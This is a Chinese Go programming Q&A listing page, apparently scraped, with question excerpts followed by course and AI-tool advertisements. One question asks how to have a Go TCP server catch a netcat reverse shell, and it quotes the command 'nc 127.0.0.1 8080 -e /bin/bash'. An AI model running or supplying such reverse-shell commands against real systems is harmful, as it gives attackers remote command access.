-
- 无法制作 grpc-gateway.gw.pb 并且没有错误
- 我编写了这个简单的go服务器和客户端,客户端发送两个数字,服务器回复总和,并且它可以工作。现在我尝试使用grpcapi配置来设置grpc-gateway并将客户端的请求从grpc更改为休息。我正在使用本教程,在下面的部分中,我无法创建gw,但没有错误:protoc-i/usr/local/include-i.\-i$gopath/src\-i$gopath/src/github.com/grpc-ecosystem/grpc-gateway/third_pa
- Golang · Go问答 | 1年前 | 449浏览 收藏
-
- 检查 struct 中的 int 字段是否为 nil?
- 我有这段代码,在将其传递给比较结构函数之前,我试图检查point.x、point.y、size.width、size.height上的nil(如果有nil,则返回错误)。我总是在尝试各种方法时遇到错误,而且我不禁认为我完全是想太多了。
- Golang · Go问答 | 1年前 | 156浏览 收藏
-
- Go + MongoDB:多态查询
- (抱歉这个问题比我想象的要长......)我正在使用go和mongodb以及mgo驱动程序。我试图在同一个mongodb集合中保留并检索不同的结构(实现通用接口)。我来自java世界(用spring很容易完成,几乎不需要任何配置),但我很难用go做类似的事情。我已经阅读了我能找到的所有相关文章或帖子或stackexchange问题,但仍然没有找到完整的解决方案。这包括:使用mgo的非结构化mongodb集合如何在go中运行时根据结构体的类型创建结构
- Golang · Go问答 | 1年前 | 235浏览 收藏
-
- 对字符串进行简单的mapReduce操作
- 我有一个字符串列表elems:=[n]string{...}我想执行一个简单的mapreduce操作,这样我将每个字符串映射到不同的字符串,例如string->$string将所有字符串缩减为一个带有分隔符的字符串,例如{s1,s2,s3}->s1@s2@s3总而言之:{s1,s2,s3}->$s1@$s2@$s3最好的方法是什么?我正在寻找效率和可读性如果它足够通用,不仅可以在字符串上工作,还有加分
- Golang · Go问答 | 1年前 | 292浏览 收藏
-
- 将结构体切片转换为接口切片
- 如何将以下结构片段转换为接口片段?typeBatchImportDatastruct{NamestringSetHash[]stringSetMembers[]string}varb[]BatchImportData这样我就可以将数据批量导入到neo4j中,因为当结构切片作为参数传递时,neo4j驱动程序需要一个接口切片。https://github.com/neo4j/neo4j-go-driver密码类型驱动程序类型列表[]界面{
- Golang · Go问答 | 1年前 | 254浏览 收藏
-
- golang模板json转yml格式
- 您好,我希望使用传递到我们的goapi的json数据创建以下格式的yml。zookeeper:configs:zookeeper_user:custom-userzookeeper_group:custom-groupzookeeper_copy_files:-source_path:/path/to/file.txtdestination_path:/tmp/file.txtz
- Golang · Go问答 | 1年前 | 355浏览 收藏
-
- 无法读取 RSA 密钥
- 我需要从文件中读入rsa私钥来签署jwt。我正在使用openssl生成私钥。解密私钥时出现长度太大错误opensslgenrsa-des3-outjwt-private.pem2048funcmain(){penbhytes:=`-----BEGINRSAPRIVATEKEY-----Proc-Type:4,ENCRYPTEDDEK-Info:DES-EDE3-CBC,A30B805A7CC6454DAOrhSmQZ
- Golang · Go问答 | 1年前 | 214浏览 收藏
-
- 如何确定 png“类型”(png8 / png24)
- 我正在使用image包来解码图像并确定其格式(例如jpg或png),但是我希望更深入,我想知道该png实际上是png8还是png24。使用go执行此操作的正确方法是什么?(更新1)目前我正在阅读能够解码图像的内容,我想知道如何从这里获取颜色模型:fname:="img.jpg"f,err:=os.Open(fname)_,format,err:=image.Decode(f)iferr!=nil{log.Fatal(err)
- Golang · Go问答 | 1年前 | 226浏览 收藏
-
- Golang无法在MongoDB中创建文档
- 我正在尝试将文档插入mongodb,但尽管成功连接到mongo,但我仍然收到以下错误:http:panicserving172.27.0.8:40176:runtimeerror:invalidmemoryaddressornilpointerdereference我正在初始化数据库连接的main.go看起来像这样funcmain(){//connecttomongomongoclient,err:=connecttomon
- Golang · Go问答 | 1年前 | 471浏览 收藏
-
- 尝试在 go 中计算 pi,我做错了什么?可能是数学问题?Cos?
- 我在直径为1的圆内画一个正方形,正方形的对角线就是圆的直径。然后,我使用余弦定律将这个正方形分成4个直角三角形,并且知道三角形上a和b的长度为0.5,我创建了4个三角形,其斜边加在一起形成了正方形的周长。给我们方程周长=边数*(a^2+b^2-2abcos(360/边数))通过增加该形状的边数,周长越来越接近圆的周长(3.14)。我之前在python中做过这个,并且它有效,但是在度数上使用余弦定律而不是在python中使用rad时出现了一个问题,这
- Golang · Go问答 | 1年前 | 230浏览 收藏
-
- 仅从 go 例程中的 Println 接收通道会引发死锁异常
- 我有一些代码,我试图使用fmt.println打印goroutine中通道的内容。这是代码的简化版本。packagemainimport"fmt"import"time"funcmain(){ch:=make(chanint)gofmt.println(
- Golang · Go问答 | 1年前 | 434浏览 收藏
-
- 如何捕获 netcat 反向 shell?
- 我正在go中开发tcp服务器。tcp服务器需要能够捕获来自netcat的反向shell:$nc127.0.0.18080-e/bin/bash我应该能够发送命令并接收响应;但是,我的服务器在收到连接时似乎挂起。我认为问题出在bufio.newreader(conn).readstring('\n')行,但我不知道如何修复它。您能提供任何解决方案吗,谢谢?服务器代码(注意:为简洁起见,省略了错误处理):funcmain(){ln,_
- Golang · Go问答 | 1年前 | 154浏览 收藏
-
- 如何在 Go 和 gRPC 中构建结构体数组?
-
我正在尝试将字符串数组添加到结构的内容部分中,并以id作为数组索引。我的代码适用于一个元素,但当我尝试添加循环时出现各种错误。欢迎任何想法。我正在使用go。funcbuildRequest(s[]string)[]*storepb.LongStoreRequest{//ss:=[]storepb.LongStoreRequest//int32i=0stringv:=s[0]//fori:=0;i
- Golang · Go问答 | 1年前 | 452浏览 收藏
-
- 如何在golang中编写bson形式的mongo查询?
- 我可以使用命令行查询查询我的mongodb集合,以根据nftype和最小距离获取ipv4addressesdb.nfinstancesdb.aggregate([{"$match":{"nftype":"amf"}},{"$unwind":"$ipv4addresses"},{$group:{"_id":"$distance","ipv4addresses":{
- Golang · Go问答 | 1年前 | 256浏览 收藏
-
- 单元测试超级账本结构链代码 (GetPrivateData)
- 有没有办法在超级账本结构链代码中对私有数据进行单元测试?我找到了没有私有数据的链码测试文件。链码测试
- Golang · Go问答 | 1年前 | 192浏览 收藏
查看更多
课程推荐
-
- 前端进阶之JavaScript设计模式
- 设计模式是开发人员在软件开发过程中面临一般问题时的解决方案,代表了最佳的实践。本课程的主打内容包括JS常见设计模式以及具体应用场景,打造一站式知识长龙服务,适合有JS基础的同学学习。
- 542次学习
-
- GO语言核心编程课程
- 本课程采用真实案例,全面具体可落地,从理论到实践,一步一步将GO核心编程技术、编程思想、底层实现融会贯通,使学习者贴近时代脉搏,做IT互联网时代的弄潮儿。
- 508次学习
-
- 简单聊聊mysql8与网络通信
- 如有问题加微信:Le-studyg;在课程中,我们将首先介绍MySQL8的新特性,包括性能优化、安全增强、新数据类型等,帮助学生快速熟悉MySQL8的最新功能。接着,我们将深入解析MySQL的网络通信机制,包括协议、连接管理、数据传输等,让
- 497次学习
-
- JavaScript正则表达式基础与实战
- 在任何一门编程语言中,正则表达式,都是一项重要的知识,它提供了高效的字符串匹配与捕获机制,可以极大的简化程序设计。
- 487次学习
-
- 从零制作响应式网站—Grid布局
- 本系列教程将展示从零制作一个假想的网络科技公司官网,分为导航,轮播,关于我们,成功案例,服务流程,团队介绍,数据部分,公司动态,底部信息等内容区块。网站整体采用CSSGrid布局,支持响应式,有流畅过渡和展现动画。
- 484次学习
-
- Golang深入理解GPM模型
- Golang深入理解GPM调度器模型及全场景分析,希望您看完这套视频有所收获;包括调度器的由来和分析、GMP模型简介、以及11个场景总结。
- 473次学习
查看更多
AI推荐
-
- 茅茅虫AIGC检测
- 茅茅虫AIGC检测,湖南茅茅虫科技有限公司倾力打造,运用NLP技术精准识别AI生成文本,提供论文、专著等学术文本的AIGC检测服务。支持多种格式,生成可视化报告,保障您的学术诚信和内容质量。
- 101次使用
-
- 赛林匹克平台(Challympics)
- 探索赛林匹克平台Challympics,一个聚焦人工智能、算力算法、量子计算等前沿技术的赛事聚合平台。连接产学研用,助力科技创新与产业升级。
- 109次使用
-
- 笔格AIPPT
- SEO 笔格AIPPT是135编辑器推出的AI智能PPT制作平台,依托DeepSeek大模型,实现智能大纲生成、一键PPT生成、AI文字优化、图像生成等功能。免费试用,提升PPT制作效率,适用于商务演示、教育培训等多种场景。
- 115次使用
-
- 稿定PPT
- 告别PPT制作难题!稿定PPT提供海量模板、AI智能生成、在线协作,助您轻松制作专业演示文稿。职场办公、教育学习、企业服务全覆盖,降本增效,释放创意!
- 107次使用
-
- Suno苏诺中文版
- 探索Suno苏诺中文版,一款颠覆传统音乐创作的AI平台。无需专业技能,轻松创作个性化音乐。智能词曲生成、风格迁移、海量音效,释放您的音乐灵感!
- 106次使用